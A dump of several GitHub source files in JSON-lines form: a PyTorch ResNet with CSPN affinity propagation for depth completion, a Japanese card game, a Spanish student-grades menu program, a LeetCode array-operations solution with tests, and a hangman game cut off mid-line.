self.bn3 = nn.BatchNorm2d(planes * 4)\n        self.relu = nn.ReLU(inplace=True)\n        self.downsample = downsample\n        self.stride = stride\n\n    def forward(self, x):\n        residual = x\n\n        out = self.conv1(x)\n        out = self.bn1(out)\n        out = self.relu(out)\n\n        out = self.conv2(out)\n        out = self.bn2(out)\n        out = self.relu(out)\n\n        out = self.conv3(out)\n        out = self.bn3(out)\n\n        if self.downsample is not None:\n            residual = self.downsample(x)\n\n        out += residual\n        out = self.relu(out)\n\n        return out\n\nclass UpProj_Block(nn.Module):\n    def __init__(self, in_channels, out_channels, oheight=0, owidth=0):\n        super(UpProj_Block, self).__init__()\n        self.conv1 = nn.Conv2d(in_channels, out_channels, kernel_size=5, stride=1, padding=2, bias=False)\n        self.bn1 = nn.BatchNorm2d(out_channels)\n        self.conv2 = nn.Conv2d(out_channels, out_channels, kernel_size=3, stride=1, padding=1, bias=False)\n        self.bn2 = nn.BatchNorm2d(out_channels)\n        self.sc_conv1 = nn.Conv2d(in_channels, out_channels, kernel_size=5, stride=1, padding=2, bias=False)\n        self.sc_bn1 = nn.BatchNorm2d(out_channels)\n        self.relu = nn.ReLU(inplace=True)\n        self.oheight = oheight\n        self.owidth = owidth\n        self._up_pool = Unpool(in_channels)\n\n    def _up_pooling(self, x, scale):\n        oheight = 0\n        owidth = 0\n        if self.oheight == 0 and self.owidth == 0:\n            oheight = scale * x.size(2)\n            owidth = scale * x.size(3)\n            x = self._up_pool(x)\n        else:\n            oheight = self.oheight\n            owidth = self.owidth\n            x = self._up_pool(x)\n        return x\n\n    def forward(self, x):\n        x = self._up_pooling(x, 2)\n        out = self.relu(self.bn1(self.conv1(x)))\n        out = self.bn2(self.conv2(out))\n        short_cut = self.sc_bn1(self.sc_conv1(x))\n        out += short_cut\n        out = self.relu(out)\n        return out\n\nclass Simple_Gudi_UpConv_Block(nn.Module):\n    def __init__(self, in_channels, out_channels, oheight=0, owidth=0):\n        super(Simple_Gudi_UpConv_Block, self).__init__()\n        self.conv1 = nn.Conv2d(in_channels, out_channels, kernel_size=5, stride=1, padding=2, bias=False)\n        self.bn1 = nn.BatchNorm2d(out_channels)\n        self.relu = nn.ReLU(inplace=True)\n        self.oheight = oheight\n        self.owidth = owidth\n        self._up_pool = Unpool(in_channels)\n\n\n    def _up_pooling(self, x, scale):\n\n        x = self._up_pool(x)\n        if self.oheight !=0 and self.owidth !=0:\n            x = x.narrow(2,0,self.oheight)\n            x = x.narrow(3,0,self.owidth)\n        return x\n\n\n    def forward(self, x):\n        x = self._up_pooling(x, 2)\n        out = self.relu(self.bn1(self.conv1(x)))\n        return out\n\nclass Simple_Gudi_UpConv_Block_Last_Layer(nn.Module):\n    def __init__(self, in_channels, out_channels, oheight=0, owidth=0, bias=False):\n        super(Simple_Gudi_UpConv_Block_Last_Layer, self).__init__()\n        self.conv1 = nn.Conv2d(in_channels, out_channels, kernel_size=3, stride=1, padding=1, bias=bias)\n        self.oheight = oheight\n        self.owidth = owidth\n        self._up_pool = Unpool(in_channels)\n\n    def _up_pooling(self, x, scale):\n\n        x = self._up_pool(x)\n        if self.oheight != 0 and self.owidth != 0:\n            x = x.narrow(2, 0, self.oheight)\n            x = x.narrow(3, 0, self.owidth)\n        return x\n\n    def forward(self, x):\n        x = self._up_pooling(x, 2)\n        out = self.conv1(x)\n        return out\n\nclass Gudi_UpProj_Block(nn.Module):\n    def __init__(self, in_channels, out_channels, oheight=0, owidth=0, bias=False):\n        super(Gudi_UpProj_Block, self).__init__()\n        self.conv1 = nn.Conv2d(in_channels, out_channels, kernel_size=5, stride=1, padding=2, bias=bias)\n        self.bn1 = nn.BatchNorm2d(out_channels)\n        self.conv2 = nn.Conv2d(out_channels, out_channels, kernel_size=3, stride=1, padding=1, bias=bias)\n        self.bn2 = nn.BatchNorm2d(out_channels)\n        self.sc_conv1 = nn.Conv2d(in_channels, out_channels, kernel_size=5, stride=1, padding=2, bias=bias)\n        self.sc_bn1 = nn.BatchNorm2d(out_channels)\n        self.relu = nn.ReLU(inplace=True)\n        self.oheight = oheight\n        self.owidth = owidth\n\n    def _up_pooling(self, x, scale):\n\n        x = nn.Upsample(scale_factor=scale, mode='nearest')(x)\n        if self.oheight !=0 and self.owidth !=0:\n            x = x[:,:,0:self.oheight, 0:self.owidth]\n        mask = torch.zeros_like(x)\n        for h in range(0, self.oheight, 2):\n            for w in range(0, self.owidth, 2):\n                mask[:,:,h,w] = 1\n        x = torch.mul(mask, x)\n        return x\n\n    def forward(self, x):\n        x = self._up_pooling(x, 2)\n        out = self.relu(self.bn1(self.conv1(x)))\n        out = self.bn2(self.conv2(out))\n        short_cut = self.sc_bn1(self.sc_conv1(x))\n        out += short_cut\n        out = self.relu(out)\n        return out\n\n\nclass Gudi_UpProj_Block_Cat(nn.Module):\n    def __init__(self, in_channels, out_channels, oheight=0, owidth=0, bias=False):\n        super(Gudi_UpProj_Block_Cat, self).__init__()\n        self.conv1 = nn.Conv2d(in_channels, out_channels, kernel_size=5, stride=1, padding=2, bias=bias)\n        self.bn1 = nn.BatchNorm2d(out_channels)\n        self.conv1_1 = nn.Conv2d(out_channels*2, out_channels, kernel_size=3, stride=1, padding=1, bias=bias)\n        self.bn1_1 = nn.BatchNorm2d(out_channels)\n        self.conv2 = nn.Conv2d(out_channels, out_channels, kernel_size=3, stride=1, padding=1, bias=bias)\n        self.bn2 = nn.BatchNorm2d(out_channels)\n        self.sc_conv1 = nn.Conv2d(in_channels, out_channels, kernel_size=5, stride=1, padding=2, bias=bias)\n        self.sc_bn1 = nn.BatchNorm2d(out_channels)\n        self.relu = nn.ReLU(inplace=True)\n        self.oheight = oheight\n        self.owidth = owidth\n        self._up_pool = Unpool(in_channels)\n\n    def _up_pooling(self, x, scale):\n\n        x = self._up_pool(x)\n        if self.oheight !=0 and self.owidth !=0:\n            x = x.narrow(2, 0, self.oheight)\n            x = x.narrow(3, 0, self.owidth)\n        return x\n\n    def forward(self, x, side_input):\n        x = self._up_pooling(x, 2)\n        out = self.relu(self.bn1(self.conv1(x)))\n        out = torch.cat((out, side_input), 1)\n        out = self.relu(self.bn1_1(self.conv1_1(out)))\n        out = self.bn2(self.conv2(out))\n        short_cut = self.sc_bn1(self.sc_conv1(x))\n        out += short_cut\n        out = self.relu(out)\n        return out\n\nclass ResNet(nn.Module):\n    def __init__(self, block, layers, up_proj_block, cspn_config=None, input_size=(240, 320)):\n        self.inplanes = 64\n        iterations = 48\n        std_iterations = 24\n        cspn_config_default = {'step': iterations, 'kernel': 3, 'norm_type': '8sum'}\n        if not (cspn_config is None):\n            cspn_config_default.update(cspn_config)\n        print(cspn_config_default)\n\n        super(ResNet, self).__init__()\n        in_channels = 4\n        self.conv1_1 = nn.Conv2d(in_channels, 64, kernel_size=7, stride=2, padding=3, bias=False)\n        self.bn1 = nn.BatchNorm2d(64)\n        self.relu = nn.ReLU(inplace=True)\n        self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1)\n        self.layer1 = self._make_layer(block, 64, layers[0])\n        self.layer2 = self._make_layer(block, 128, layers[1], stride=2)\n        self.layer3 = self._make_layer(block, 256, layers[2], stride=2)\n        self.layer4 = self._make_layer(block, 512, layers[3], stride=2)\n        self.mid_channel = 256*block.expansion\n        self.conv2 = nn.Conv2d(512*block.expansion, 512*block.expansion, kernel_size=3,\n                               stride=1, padding=1, bias=False)\n        self.bn2 = nn.BatchNorm2d(512*block.expansion)\n\n        h_2, w_2 = input_size[0] // 2, input_size[1] // 2\n        h_4, w_4 = h_2 // 2, w_2 // 2\n        h_8, w_8 = h_4 // 2, w_4 // 2\n        h_16, w_16 = h_8 // 2, w_8 // 2\n        self.post_process_layer = self._make_post_process_layer(cspn_config_default)\n\n        # depth branch\n        self.gud_up_proj_layer1 = self._make_gud_up_conv_layer(Gudi_UpProj_Block, 512 * block.expansion, 256 * block.expansion, h_16, w_16)\n        self.gud_up_proj_layer2 = self._make_gud_up_conv_layer(Gudi_UpProj_Block_Cat, 256 * block.expansion, 128 * block.expansion, h_8, w_8)\n        self.gud_up_proj_layer3 = self._make_gud_up_conv_layer(Gudi_UpProj_Block_Cat, 128 * block.expansion, 64 * block.expansion, h_4, w_4)\n        self.gud_up_proj_layer4 = self._make_gud_up_conv_layer(Gudi_UpProj_Block_Cat, 64 * block.expansion, 64, h_2, w_2)\n        self.gud_up_proj_layer5 = self._make_gud_up_conv_layer(Simple_Gudi_UpConv_Block_Last_Layer, 64, 1, input_size[0], input_size[1])\n        self.gud_up_proj_layer6 = self._make_gud_up_conv_layer(Simple_Gudi_UpConv_Block_Last_Layer, 64, 8, input_size[0], input_size[1])\n\n        # standard deviation branch\n        self.gud_up_proj_layer1_std = self._make_gud_up_conv_layer(Gudi_UpProj_Block, 512 * block.expansion, 256 * block.expansion, h_16, w_16)\n        self.gud_up_proj_layer2_std = self._make_gud_up_conv_layer(Gudi_UpProj_Block_Cat, 256 * block.expansion, 128 * block.expansion, h_8, w_8)\n        self.gud_up_proj_layer3_std = self._make_gud_up_conv_layer(Gudi_UpProj_Block_Cat, 128 * block.expansion, 64 * block.expansion, h_4, w_4)\n        self.gud_up_proj_layer4_std = self._make_gud_up_conv_layer(Gudi_UpProj_Block_Cat, 64 * block.expansion, 64, h_2, w_2)\n        self.gud_up_proj_layer5_std = self._make_gud_up_conv_layer(Simple_Gudi_UpConv_Block_Last_Layer, 64, 1, input_size[0], input_size[1])\n        self.gud_up_proj_layer6_std = self._make_gud_up_conv_layer(Simple_Gudi_UpConv_Block_Last_Layer, 64, 8, input_size[0], input_size[1])\n        cspn_config_std = {'step': std_iterations, 'kernel': 3, 'norm_type': '8sum_abs'}\n        self.post_process_layer_std = self._make_post_process_layer(cspn_config_std)\n\n    def _make_layer(self, block, planes, blocks, stride=1):\n        downsample = None\n        if stride != 1 or self.inplanes != planes * block.expansion:\n            downsample = nn.Sequential(\n                nn.Conv2d(self.inplanes, planes * block.expansion,\n                          kernel_size=1, stride=stride, bias=False),\n                nn.BatchNorm2d(planes * block.expansion),\n            )\n\n        layers = []\n        layers.append(block(self.inplanes, planes, stride, downsample))\n        self.inplanes = planes * block.expansion\n        for i in range(1, blocks):\n            layers.append(block(self.inplanes, planes))\n\n        return nn.Sequential(*layers)\n\n    def _make_up_conv_layer(self, up_proj_block, in_channels, out_channels):\n        return up_proj_block(in_channels, out_channels)\n\n    def _make_gud_up_conv_layer(self, up_proj_block, in_channels, out_channels, oheight, owidth, bias=False):\n        return up_proj_block(in_channels, out_channels, oheight, owidth, bias)\n\n    def _make_post_process_layer(self, cspn_config=None):\n        return Affinity_Propagate(cspn_config['step'],\n                                               cspn_config['kernel'],\n                                               norm_type=cspn_config['norm_type'])\n\n    def forward(self, x):\n        [batch_size, channel, height, width] = x.size()\n        sparse_depth = x.narrow(1,channel - 1,1).clone()\n        x = self.conv1_1(x)\n        skip4 = x\n\n        x = self.bn1(x)\n        x = self.relu(x)\n        x = self.maxpool(x)\n        x = self.layer1(x)\n        skip3 = x\n\n        x = self.layer2(x)\n        skip2 = x\n\n        x = self.layer3(x)\n        x = self.layer4(x)\n        x = self.bn2(self.conv2(x))\n        \n        std = self.gud_up_proj_layer1_std(x)\n        std = self.gud_up_proj_layer2_std(std, skip2)\n        std = self.gud_up_proj_layer3_std(std, skip3)\n        std = self.gud_up_proj_layer4_std(std, skip4)\n        guidance_std = self.gud_up_proj_layer6_std(std)\n        std = self.gud_up_proj_layer5_std(std)\n        std = F.softplus(self.post_process_layer_std(guidance_std, std), beta=20)\n\n        x = self.gud_up_proj_layer1(x)\n        x = self.gud_up_proj_layer2(x, skip2)\n        x = self.gud_up_proj_layer3(x, skip3)\n        x = self.gud_up_proj_layer4(x, skip4)\n        guidance = self.gud_up_proj_layer6(x)\n        x = self.gud_up_proj_layer5(x)\n        x = self.post_process_layer(guidance, x, sparse_depth)\n\n        return x, std\n\ndef resnet18_skip(pretrained=False, pretrained_path='', map_location=None, **kwargs):\n    \"\"\"Constructs a ResNet-18 model.\n    Args:\n        pretrained (bool): If True, returns a model pre-trained on ImageNet\n    \"\"\"\n    model = ResNet(BasicBlock, [2, 2, 2, 2], UpProj_Block, **kwargs)\n    if pretrained:\n        print('==> Load pretrained model..')\n        pretrained_dict = torch.load(pretrained_path, map_location=map_location)\n        model.load_state_dict(update_model(model, pretrained_dict))\n    return model\n\ndef resnet34(pretrained=False, **kwargs):\n    \"\"\"Constructs a ResNet-34 model.\n    Args:\n        pretrained (bool): If True, returns a model pre-trained on ImageNet\n    \"\"\"\n    model = ResNet(BasicBlock, [3, 4, 6, 3], UpProj_Block, **kwargs)\n    if pretrained:\n        model.load_state_dict(model_zoo.load_url(model_urls['resnet34']))\n    return model\n\n\ndef resnet50_skip(pretrained=False, checkpoint_dir='', **kwargs):\n    \"\"\"Constructs a ResNet-50 model.\n    Args:\n        pretrained (bool): If True, returns a model pre-trained on ImageNet\n    \"\"\"\n    model = ResNet(Bottleneck, [3, 4, 6, 3], UpProj_Block, **kwargs)\n    if pretrained:\n        print('==> Load pretrained model from ', model_path['resnet50'])\n        pretrained_dict = torch.load(os.path.join(checkpoint_dir, model_path['resnet50']))\n        model.load_state_dict(update_model(model, pretrained_dict))\n    return model\n\n\ndef resnet101(pretrained=False, **kwargs):\n    \"\"\"Constructs a ResNet-101 model.\n    Args:\n        pretrained (bool): If True, returns a model pre-trained on ImageNet\n    \"\"\"\n    model = ResNet(Bottleneck, [3, 4, 23, 3], UpProj_Block, **kwargs)\n    if pretrained:\n        model.load_state_dict(model_zoo.load_url(model_urls['resnet101']))\n    return model\n\n\ndef resnet152(pretrained=False, **kwargs):\n    \"\"\"Constructs a ResNet-152 model.\n    Args:\n        pretrained (bool): If True, returns a model pre-trained on ImageNet\n    \"\"\"\n    model = ResNet(Bottleneck, [3, 8, 36, 3], UpProj_Block, **kwargs)\n    if pretrained:\n        model.load_state_dict(model_zoo.load_url(model_urls['resnet152']))\n    return model\n","repo_name":"barbararoessle/dense_depth_priors_nerf","sub_path":"model/cspn.py","file_name":"cspn.py","file_ext":"py","file_size_in_byte":18314,"program_lang":"python","lang":"en","doc_type":"code","stars":348,"dataset":"github-code","pt":"35"}
{"seq_id":"13436031595","text":"from random import shuffle\nclass Card:\n    suits = [\"スペード\", \"ハート\", \"ダイア\", \"クラブ\"]\n\n    values = [None, None,\n              \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"Jack\", \"Queen\", \"King\", \"Ace\"]\n\n            \n    def __init__(self, v, s): #カードの数値とマークを与える\n        #マークもあたいも整数値\n        self.value = v\n        self.suit = s\n\n    def __lt__(self, c2): #カードの強さを比べる (<)を使う時に呼びだす\n        if self.value < c2.value:\n            return True\n\n        if self.value == c2.value:\n            if self.suit < c2.suit:\n                return True\n            else:\n                return False\n        return False\n    \n    def __gt__(self, c2): #カードの強さを比べる(>)を使う時に呼び出す\n        if self.value > c2.value:\n            return True\n        if self.value == c2.value:\n            if self.value > c2.value:\n                return True\n            else:\n                return False\n\n        return False\n\n    def __repr__(self): #カードのマークと値を出力\n        v = self.suits[self.suit] + \"の\" \\\n            + self.values[self.value]\n        return v\n\nclass Deck:\n    def __init__(self): #トランプの並びを決定\n        self.cards = []\n        #self.cardsに52通りの数を代入しシャッフル\n        for i in range(2,15):\n            for j in range(4):\n                self.cards.append(Card(i,j))\n        shuffle(self.cards)\n\n    def rm_card(self): #cardsリストから要素を1つ選び、削除しその要素を返す。リストが空だったらNoneを返す。\n        if len(self.cards) == 0:\n            return\n        return self.cards.pop()\n\nclass Player:\n    def __init__(self, name): #プレーヤーの勝ち数、カード、名前をあたえる\n        self.wins = 0\n        self.card = None\n        self.name = name\n\nclass Game:\n    def __init__(self): #プレーヤーの名前をinput\b,「Deck」メソッドでデッキを決定,\n        name1 = input(\"プレーヤー1の名前\")\n        name2 = input(\"プレーヤー2の名前\")\n        self.deck = Deck()\n        self.p1 = Player(name1)\n        self.p2 = Player(name2)\n\n    def wins (self, winner): #１ターンの勝者を出力\n        w = \"こののラウンドは {} が勝ちました\"\n        w = w.format(winner)\n        print(w)\n    \n    def draw(self, p1n, p1c, p2n, p2c): #プレーヤーが引いたカードを「__repr__」メソッドを用いて出力\n        d = \"{} は {} 、 {} は {} を引きました\"\n        d = d.format(p1n, p1c, p2n, p2c)\n        print(d)\n\n    def play_game(self): #ゲームの開始\n        cards = self.deck.cards\n        print(\"戦争を始めます\")\n        #cardsリストが2以上のとき実行、qが入力されるか、cardsリストが2未満のとき終了\n        while len(cards) >= 2 :\n            m = \"qで終了、それ以外のキーでplay\"\n            response = input(m)\n            if response == 'q':\n                break\n            #p1c、p2cはプレーヤー1、プレーヤー2がそれぞれ引いたカード\n            p1c = self.deck.rm_card()\n            p2c = self.deck.rm_card()\n            #p1n、p2nはそれぞれプレーヤー1、プレーヤー2の名前\n            p1n = self.p1.name\n            p2n = self.p2.name\n            #drawメソッドの実行\n            self.draw(p1n, p1c, p2n, p2c)\n            \n            if p1c > p2c: #「__gt__」メソッドを使用しTrueのときプレーヤ1の勝ち数を+1\n                self.p1.wins += 1\n                self.wins(self.p1.name)\n            else:#ifがTrue以外の時プレーヤー2の勝ち数を+1\n                self.p2.wins += 1\n                self.wins(self.p2.name)\n        #winnerメソッドの実行    \n        win = self.winner(self.p1, self.p2)\n        print(\"ゲームの終了、{} です！\".format(win))\n\n    def winner(self, p1, p2): #プレーヤー1の勝ち数とプレーヤー2の勝ち数を比べ結果によって、ゲームの勝敗を出力\n        if p1.wins > p2.wins: \n            return \"{} の勝利\".format(p1.name)\n        if p1.wins < p2.wins:\n            return \"{} の勝利\".format(p2.name)\n        return \"引き分け\"\n\ngame = Game()\ngame.play_game()","repo_name":"hikapyon/wor-game","sub_path":"wor-game.py","file_name":"wor-game.py","file_ext":"py","file_size_in_byte":4292,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70099663780","text":"import time\noptMenu = 1\n#############################################         DICCIONARIOS       ##################################################################################################\n\ndicEstudiantes = {\n    1:{\n    \"nombres\":\"Juan Gavioto\",\n    \"apellidos\":\"Gonzales Mora\",\n    \"correo\":\"jgavmora@gmail.com\"\n    },\n    2:{\n    \"nombres\":\"Daniela\",\n    \"apellidos\":\"Estupinhan Garcia\",\n    \"correo\":\"jgavmora@gmail.com\"\n    },\n    3:{\n    \"nombres\":\"Santiago\",\n    \"apellidos\":\"Lopez Aguilar\",\n    \"correo\":\"jgavmora@gmail.com\"\n    },\n    4:{\n    \"nombres\":\"Jonathan\",\n    \"apellidos\":\"Maldonado Gutierrez\",\n    \"correo\":\"jgavmora@gmail.com\"\n    },\n    5:{\n    \"nombres\":\"Milthon\",\n    \"apellidos\":\"Lopez Obrador\",\n    \"correo\":\"jgavmora@gmail.com\"\n    },\n    6:{\n    \"nombres\":\"Santiago\",\n    \"apellidos\":\"Peña Nieto\",\n    \"correo\":\"jgavmora@gmail.com\"\n    },\n}\n\ndicMaterias = {\n    1:{\"nomMateria\":\"Matematicas\"},\n    2:{\"nomMateria\":\"Biologia\"},\n    3:{\"nomMateria\":\"Fisica\"},\n    4:{\"nomMateria\":\"Quimica\"}\n}\n\ndicNotas ={\n    1:{\"idEstudiante\":\"\",\n       \"idMateria\":\"\",\n       \"nota1\":\"\",\n       \"nota2\":\"\",\n       \"nota3\":\"\",\n       \"notaFinal\":\"\"\n       }\n}\n\n###########################################          FUNCIONES NOTAS          ######################################################################################\n\ndef agregarNotas(diccionario, idEstudiante, idMateria, nota1, nota2, nota3):\n    id = crearId(diccionario)\n\n    diccionario[id+1] = {\n        \"idEstudiante\":idEstudiante,\n        \"idMateria\":idMateria,\n        \"nota1\":nota1,\n        \"nota2\":nota2,\n        \"nota3\":nota3,\n        \"notaFinal\":((nota1+nota2+nota3)/3),\n        }\n    return diccionario\n\ndef verNotas(diccionario,id):\n    listaNotas = \"\"\n    nombre = str(dicEstudiantes[id][\"nombres\"])+\" \\t\"+str(dicEstudiantes[id][\"apellidos\"])\n    materia = str(dicMaterias[(dicNotas[id][\"idMateria\"])][\"nomMateria\"])\n    for nota in diccionario:\n        listaNotas += (str(nota) + \"\\t\" + nombre + \" \\t\\t\" + materia+ \"\\n\")\n    return print(listaNotas)\n\ndef editarNotas(diccionario, id, key,cambio):\n    diccionario[id][key] = cambio\n\n\n#############################################       FUNCIONES MATERIAS    ##################################################################################################\n\ndef crearId(diccionario):\n    id = list(diccionario.keys())[len(diccionario)-1]\n    return id\n\ndef agregarMateria(materia, nombreMateria):\n    id = crearId(materia)\n    materia[id+1] = {\"nomMateria\":nombreMateria}\n    return materia\n\ndef verMaterias(materias):\n    listaMaterias = \"\"\n    for materia in materias:\n        listaMaterias += str(materia) + \" \" + str(materias[materia][\"nomMateria\"]+\"\\n\")\n    return listaMaterias\n\ndef editarMateria(diccionario, id, newName):\n    diccionario[id] = {\"nomMateria\": newName}\n\n###########################################          FUNCIONES ESTUDIANTES          ######################################################################################\n\ndef agregarEstudiante(diccionario, nombreEstudiante, apellidoEstudiante, correo):\n    id = crearId(diccionario)\n\n    diccionario[id+1] = {\n        \"nombres\":nombreEstudiante,\n        \"apellidos\":apellidoEstudiante,\n        \"correo\":correo\n        }\n    return diccionario\n\ndef verEstudiantes(diccionario):\n    listaEstudiantes = \"\"\n    for estudiante in diccionario:\n        listaEstudiantes += (str(estudiante) + \"\\t\" + str(diccionario[estudiante][\"nombres\"]) + \" \\t\" + str(diccionario[estudiante][\"apellidos\"]) + \" \\t\\t\" + str(diccionario[estudiante][\"correo\"]) + \"\\n\")\n    return print(listaEstudiantes)\n\ndef editarEstudiante(diccionario, id, key,cambio):\n    diccionario[id][key] = cambio\n\ndef delete(diccionario):\n        codigo = int(input(\"Ingrese el codigo de la ID a elminiar: \\t\"))\n        del(diccionario[codigo])\n#############################################            MENUS            ##################################################################################################\n\ndef menuMaterias(materias):\n    print(\"*********************************************MATERIAS**************************************************************\")\n    opcion = int(input(\"\\n\\nSeleccione alguna de las siguientes opciones:\\n1.Agregar \\t 2.Editar\\n3.Eliminar \\t 0.Volver\\n\"))\n\n    if opcion == 1:\n        nomMateria = input(\"Ingrese el nombre de la materia: \\t\")\n        agregarMateria(materias,nomMateria)\n    elif opcion == 2:\n        editarMateria(materias,int(input(\"Ingrese el ID de la materia a editar: \\t\")),input(\"Indique el nuevo nombre de la materia\"))\n        print(\"\\n***MATERIA EDITADA CON ÈXITO***\")\n    elif opcion == 3:\n        codigo = int(input(\"Ingrese el codigo de la materia a elminiar: \\t\"))\n        del(dicMaterias[codigo])\n    elif opcion == 0:\n        print(verMaterias(dicMaterias))\n\ndef menuEstudiantes(diccionario):\n    continueEdit = 1\n    print(\"*********************************************MATERIAS**************************************************************\")\n    opcion = int(input(\"\\n\\nSeleccione alguna de las siguientes opciones:\\n1.Agregar \\t 2.Editar\\n3.Eliminar \\t 0.Volver\\n\"))\n\n    if opcion == 1:\n        nombre = input(\"Ingrese el nombre del estudiante: \\t\")\n        apellido = input(\"Ingrese el apellido del estudiante: \\t\")\n        correo = input(\"Ingrese el correo del estudiante: \\t\")\n        agregarEstudiante(diccionario,nombre,apellido,correo)\n        print(\"****************************ESTUDIANTE AGREGADO CON EXITO********************************\")\n        time.sleep(2)\n        verEstudiantes(diccionario)\n    elif opcion == 2:\n        while continueEdit == True:\n            cambio = \"\"\n            verEstudiantes(diccionario)\n            IDestudiante = int(input(\"Indique el ID del estudiante a editar: \\t\"))\n            key = int(input(\"Indique que desea editar del estudiante: \\n1.Nombres \\t2.Apellidos \\n3.Correo: \\t\"))\n            if key == 1:\n                key = \"nombres\"\n                cambio = input(\"Inserte nombre(s) modificado: \\t\")\n            elif key == 2:\n                key = \"apellidos\"\n                cambio = input(\"Inserte apellido(s) modificado: \\t\")\n            elif key == 3:\n                key = \"correo\"\n                cambio = input(\"Inserte correo(s) modificado: \\t\")\n            editarEstudiante(diccionario,IDestudiante,key,cambio)\n            continueEdit = int(input(\"?Desea continuar?\"))\n    elif opcion == 3:\n        verEstudiantes(diccionario)\n        delete(diccionario)\n    elif opcion == 0:\n        verEstudiantes(diccionario)\n\ndef menuNotas(diccionario):\n    continueEdit = 1\n    print(\"*********************************************NOTAS**************************************************************\")\n    opcion = int(input(\"\\n\\nSeleccione alguna de las siguientes opciones:\\n1.Agregar \\t 2.Editar\\n3.Eliminar \\t 0.Volver\\n\"))\n\n    if opcion == 1:\n        idAlumno = int(input(\"Ingrese el ID del alumno: \"))\n        idMateria = int(input(\"Ingrese el ID de la materia: \"))\n        nota1 = float(input(\"Ingrese la primera nota: \"))\n        nota2 = float(input(\"Ingrese la segunda nota: \"))\n        nota3 = float(input(\"Ingrese la tercera nota: \"))\n        agregarNotas(diccionario,idAlumno,idMateria,nota1,nota2,nota3)\n        print(\"****************************NOTA AGREGADA CON EXITO********************************\")\n        verNotas(diccionario,)\n    elif opcion == 2:\n            None\n    elif opcion == 3:\n        delete(diccionario)\n    elif opcion == 0:\n        None\n\n#############################################          ACCIONES           ##################################################################################################\n\nwhile optMenu != 0:\n    optMenu = int(input(\"\\n\\nSeleccione alguna de las siguientes opciones:\\n1.Notas \\t 2.Estudiantes\\n3.Materias \\t 0.Salir\\n\"))\n    if optMenu == 1:\n        menuNotas(dicNotas)\n    elif optMenu == 2:\n        menuEstudiantes(dicEstudiantes)\n    elif optMenu == 3:\n        menuMaterias(dicMaterias)\n    else :\n        print(\"Adios, cv\")    \n\n#print(verEstudiantes(dicEstudiantes))\n#agregarMateria(dicMaterias,\"Artes\")\n#print(dicMaterias)\n##print(verMaterias(dicMaterias))","repo_name":"DevJLeon/CampusPythonClasses","sub_path":"E3/a/sem3/diccionarios.py","file_name":"diccionarios.py","file_ext":"py","file_size_in_byte":8140,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22003054863","text":"\"\"\"\nleetcode 2541: minimum operations to make array equal\n\nWe are given two integer arrays A and B of equal length n and an integer k. We\ncan perform the following operations on A: choose two indexes i and j and\nincrement A[i] by k and decrement A[j] by k.\n\nA is said to be equal to B if for all indices i s.t. 0 <= i < n, A[i] == B[i].\n\nReturn the minimum number of operations required to make A equal to B. If it is\nimpossible, return -1.\n\"\"\"\n\n\ndef min_op(A, B, k):\n    \"\"\"\n    If it is possible to perform the described operation on A at index i, then\n    the difference between A[i] and B[i] is a multiple of k. Also, after all\n    such operations have been performed, the total number of decrements must\n    match the total number of increments. Then the solution is the the number\n    of decrements (or increments) divided by k. Otherwise, there is no\n    solution.\n    \"\"\"\n    if k == 0:\n        if A == B:\n            return 0\n        return -1\n\n    decrements = 0\n    increments = 0\n    for i in range(len(A)):\n        if (A[i] - B[i]) % k != 0:\n            return -1\n        if A[i] < B[i]:\n            increments += B[i] - A[i]\n        elif A[i] > B[i]:\n            decrements += A[i] - B[i]\n    if decrements != increments:\n        return -1\n    return decrements // k\n\n\ndef test1():\n    assert min_op([4, 3, 1, 4], [1, 3, 7, 1], 3) == 2\n    print(\"test 1 successful\")\n\n\ndef test2():\n    assert min_op([3, 8, 5, 2], [2, 4, 1, 6], 1) == -1\n    print(\"test 2 successful\")\n\n\ndef test3():\n    assert min_op([1, 2], [3, 4], 0) == -1\n    print(\"test 3 successful\")\n\n\ndef test4():\n    assert min_op([1, 2], [1, 2], 0) == 0\n    print(\"test 4 successful\")\n\n\nif __name__ == \"__main__\":\n    test1()\n    test2()\n    test3()\n    test4()\n","repo_name":"jschnab/leetcode","sub_path":"arrays/min_op_array_equal.py","file_name":"min_op_array_equal.py","file_ext":"py","file_size_in_byte":1736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72919618341","text":"#Hangman Game {guessing words}\r\n\r\nimport random\r\n\r\n\r\nstages = ['''\r\n  +---+\r\n  |   |\r\n  O   |\r\n /|\\  |\r\n / \\  |\r\n      |\r\n=========\r\n''', '''\r\n  +---+\r\n  |   |\r\n  O   |\r\n /|\\  |\r\n /    |\r\n      |\r\n=========\r\n''', '''\r\n  +---+\r\n  |   |\r\n  O   |\r\n /|\\  |\r\n      |\r\n      |\r\n=========\r\n''', '''\r\n  +---+\r\n  |   |\r\n  O   |\r\n /|   |\r\n      |\r\n      |\r\n=========''', '''\r\n  +---+\r\n  |   |\r\n  O   |\r\n  |   |\r\n      |\r\n      |\r\n=========\r\n''', '''\r\n  +---+\r\n  |   |\r\n  O   |\r\n      |\r\n      |\r\n      |\r\n=========\r\n''', '''\r\n  +---+\r\n  |   |\r\n      |\r\n      |\r\n      |\r\n      |\r\n=========\r\n''']\r\n\r\n\r\ndef arom():\r\n    m=6\r\n    for j in range(n+4):\r\n        v=input(\"Enter a letter \").lower()\r\n        for i in range(n):\r\n            if v==x[i]:\r\n                l.pop(i)\r\n                l.insert(i,x[i])\r\n        for j in l:\r\n            print(j,end='')\r\n        else:\r\n            if v not in x:\r\n                if m==0:\r\n                    print(stages[0])\r\n                    return False\r\n                print(stages[m])\r\n                m=m-1\r\n        print()\r\n    if '-' not in l:\r\n        return True\r\n        \r\nmy_wordl=[\"books\",\"might\",\"hidden\",\"attack\",\"golden\",\"brazil\",\"clothes\",\"belong\",\"paste\",\"gallery\",\"goosebumps\",\"computer\",\"imagine\"]\r\nx=random.choice(my_wordl)\r\nn=len(x)\r\nfor i in range(n):\r\n    print(\"_ \",end='')\r\nprint()\r\nl=[]\r\nfor i in range(n):\r\n    l.append(\"_\")\r\n\r\ns=arom()\r\n        \r\nif s==True:\r\n    print(\"YOU WON !!, GAMEOVER\")\r\nelse:\r\n    print(\"GAMEOVER, you 